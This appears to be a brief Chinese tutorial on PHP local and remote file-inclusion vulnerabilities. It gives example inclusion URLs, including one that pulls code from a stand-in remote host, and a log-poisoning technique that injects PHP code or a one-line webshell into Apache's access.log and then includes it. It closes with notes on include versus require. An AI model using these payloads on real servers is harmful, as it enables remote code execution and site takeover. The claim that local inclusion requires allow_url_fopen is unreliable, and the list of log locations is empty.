文件包含的分类
本地文件包含LFI
main.php?page=1.jpg,需要allow_url_fopen开启,默认是开启的
远程文件包含RFI
main.php?page=http://www.xxx.com/xxx/1.jpg 需要allow_url_include = On
只要是符合php语法的文件,无论什么扩展名,他都会被当成php文件来执行。
php包含日志文件
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),Apache的日志文件记录了服务器对每次请求做出响应的有关信息,例如当我们请求x.php页面时,Apache就会记录下我们的操作,并且写到访问日志文件access.log之中:
尝试将一句话木马或者是phpinfo写入到log文件中,访问如下地址:http://localhost/dashboard/<?php phpinfo();?>,效果如下:
尖括号和空格被转码,而这样是无法利用的,尝试使用burpsuite抓包修改访问的url地址:
查看access.log文件,可以看到没有被转码:
最后本地包含access.log文件即可。可以尝试将一句话木马写入到文件中。
常见的日志位置文件如下:
|
|
include和require的区别
1.PHP程序执行到require()时,只会读取一次档案,故常放在程序开头,档案引入后PHP会将网页档重新编译,让引入档成为原先网页的一部分。
2.PHP程序执行到include()时,每次皆会读取档案,故常用于流程控制的区段,如条件判断或循环中。
3.require():无条件包含,如果文件不存在,会报出一个fatal error,脚本停止执行。
4.include():有条件包含,如果文件不存在,会给出一个 warning,但脚本会继续执行。
5.推荐使用require_once()和include_once(),可以检测文件是否有重复包含。